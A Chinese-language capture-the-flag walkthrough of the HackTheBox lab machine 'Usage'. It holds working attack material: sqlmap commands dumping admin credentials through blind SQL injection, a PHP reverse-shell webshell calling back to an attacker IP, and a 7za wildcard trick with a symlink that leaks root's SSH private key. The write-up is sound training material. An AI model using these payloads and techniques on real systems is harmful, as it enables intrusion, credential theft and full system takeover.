NMAP
nmap -A -sS -T4 10.10.11.18
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 01:33 UTC
Nmap scan report for 10.10.11.18
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1723/tcp)
HOP RTT ADDRESS
1 187.35 ms 10.10.16.1
2 74.11 ms 10.10.11.18
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.93 seconds
第一次访问80端口会跳转到域名usage.htb
我们在/etc/hosts 里面加上这个域名
拿dirsearch 扫了一下没有发现什么有价值的东西
我们点击admin
他会跳转到一个新的子域名admin.usage.htb,我们再/etc/hosts 里面加上这个子域名 继续访问
成功访问到了admin页面
先用几个弱口令试一试
尝试了 admin:admin admin:password admin:123456
好像都不太行
再次回到刚刚的主页面
我们点击register 注册看看
注册完之后我们尝试登录
没有什么东西
以上的几个登录框试过弱口令以及sql注入 发现都没反应
还发现一个页面 那就是重置密码的页面
如果我们输入一个没有注册过的邮箱
他会显示该邮箱没有记录
尝试sql注入hack@qq.com '
发现报了个500 的错误 估计是sql 语法的报错 大概率存在SQL注入
再尝试一下这个hack@qq.com ' or 1=1 -- -
发现可以没有报错 这说明确实存在sql注入
应该是盲注了
sqlmap sqlmap -r ./bao -p email --level 5 --risk 3
可以注入
sqlmap -r ./bao -p email --level 5 --risk 3 --batch --technique=B -D usage_blog --tables
查看usage_blog 里的所有表
sqlmap -r ./bao -p email --level 5 --risk 3 --batch --technique=B -D usage_blog -T admin_users --dump
读取admin_users的所有数据
读取到了密码
我们尝试爆破
密码为:
whatever1
直接登录admin后台admin:whatever1
登录成功
看看有无可以利用的入手点
存在头像的文件上传点
我们可以像将webshell 后缀改成png 然后上传 抓包 并将png后缀改为php 即可上传成功
但是他后台应该有定时任务会清除我们的webshell
于是我直接将反弹shell 命令写在webshell里面
shell.php
<?php $sock = fsockopen('10.10.16.4', 80);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);?>
反弹成功 获取第一个flag
在他的家目录有ssh的私钥
我们把私钥下载下来
然后用scp 上传脚本 linpeas.sh 和pspy64
scp -P22 -i id_rsa ../pspy64 dash@usage.htb:/home/dash/pspy64
scp -P22 -i id_rsa ../linpeas.sh dash@usage.htb:/home/dash/linpeash.sh
运行linpeas.sh
发现了数据库的用户以及用户名
我们还发先了一个比较有意思的文件snap似乎是有漏洞的
搜索一下exp
https://www.exploit-db.com/exploits/46361
但是提权失败了
发现家目录里面有个文件 里面有密码
用这个密码登录另一个用户
sudo -l
发现能运行/usr/bin/usage_management
命令
strings /usr/bin/usage_management
看看具体在干什么
经过我的多次实验
当我们运行 1 的命令时
他会先cd /var/www/html
然后执行/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
我们看到了这条命令
这是一种通配符提权
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/wildcards-spare-tricks.html
让我来解释一下他的执行原理
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
的意思是将当前目录下的所有文件打包到/var/backups/project.zip里面
而在7za命令中 在files.txt这样文件前加@符号的意思是让 7za一次读取files.txt里面记录的文件路径 并进行打包
例如我现在有个path.txt的文件
然后执行7za a /tmp/test.zip -tzip -snl -mmt @path.txt
他就会读取我们path的文件里面的路径 将里面路径对应的文件压缩的/tmp/test.zip里面
那么如果我们的文件是不是正确的文件路径格式例如现在的path.txt
我们再来执行刚刚的代码
你会发现他会报错并且把这个内容给输出出来
那么利用方案就来了
如果我们的文件夹里面有个id_rsa 的文件 用ln 连接到 /root/.ssh/id_rsa
然后还有个文件 叫 @id_rsa
那么
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
执行这条命令的时候相当于
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- @id_rsa,id_rsa
由于 @id_rsa会先执行 并且 系统误以为@id_rsa 不是一个文件 而是个读取id_rsa里面的文件路径 的命令
并且 id_rsa 是链接到 /root/.ssh/id_rsa 所以读取到的内容就是root的私钥
由于root的私钥显然不是正确的文件路径格式
他就会报错 并且将root的私钥的内容显示出来
这样我们就达到了读取root私钥的目的
开始实操
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
sudo /usr/bin/usage_management
读取到root的id_rsa了
ssh -i id_rsa root@127.0.0.1
提权成功